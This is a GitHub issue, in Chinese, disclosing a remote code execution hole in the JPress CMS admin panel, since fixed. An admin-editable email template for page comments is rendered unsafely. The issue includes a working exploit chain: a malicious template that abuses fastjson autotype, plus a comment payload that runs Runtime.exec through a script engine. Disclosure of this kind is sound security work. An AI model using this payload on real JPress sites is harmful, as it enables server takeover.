JPressProjects / jpress

JPress,一个使用 Java 开发的建站神器,目前已经有 10w+ 网站使用 JPress 进行驱动,其中包括多个政府机构,200+上市公司,中科院、红+字会等。
http://www.jpress.cn
GNU Lesser General Public License v3.0
2.66k stars 1.18k forks source link

jpress后台存在命令执行漏洞-邮件模板page #171

Closed Er1cccc closed 2 years ago

Er1cccc commented 2 years ago

审计过程

与之前一篇不同,之前交过一个邮件模板注入的洞,之前那个触发点是在article的评论处,这次是在page的评论处,代码很相似,但不是同一份代码

jpress后台提供了评论邮件通知管理员功能,而且发送的邮件模板可控,官方给出了例子,告诉我们可以用#(comment.id),那么猜测这里可能会存在模板渲染问题

image-20211222194033904

接着,尝试发一条评论看看后端代码的执行流程,后端对应的代码是io.jpress.module.page.controller.PageController#postComment,这个方法的作用主要是将评论信息保存到数据库,同时还会发送短信通知网站管理员

image-20211222194132555

跟进io.jpress.module.page.PageNotifyKit#notify,发现这里定义了两种方式,一个是sms发送,一个是email,我们跟进email的

image-20211222194204084

发现byEmail方法会继续调用doSendEmail,这个函数里面有模板渲染操作,在第90和91行,分别对邮件的emailTitle和emailTemplate调用getTemplateByString进行渲染,这两个变量实际上就是最开始我们在前端页面输入的

image-20211222194234496

分析到这里,结合之前交过的那个article页面的邮件模板rce,应该可以直接打模板注入了

效果演示

首先通过弱密码进入后台

image-20220116142842680

然后开启这两项

image-20211222194424936

然后配置管理员邮箱,随便配一个,这个是收件者

image-20220116142900454

还得配置发送者的邮箱,配置完记得点提交,拉到最下面点提交

image-20220116142913636

然后设置恶意邮件模板,同样记得要提交

#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) 
#(x.setAutoTypeSupport(true)) 
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem)) 
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js)) 
#(e.eval(str))

image-20211222194459565

接下来,我们需要更换一个页面模板,因为默认的模板是不提供page的模板的,启用这个模板

image-20211222194552681

然后创建一个page,点击发布

image-20211222194620527

访问一下我们创建的page

image-20211222194643914

接下来,在page页面评论如下内容

javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc") 

发现计算器成功弹出,漏洞验证成功

image-20211222194714458

JPressProjects commented 2 years ago

在 jpress 最新版本中已解决。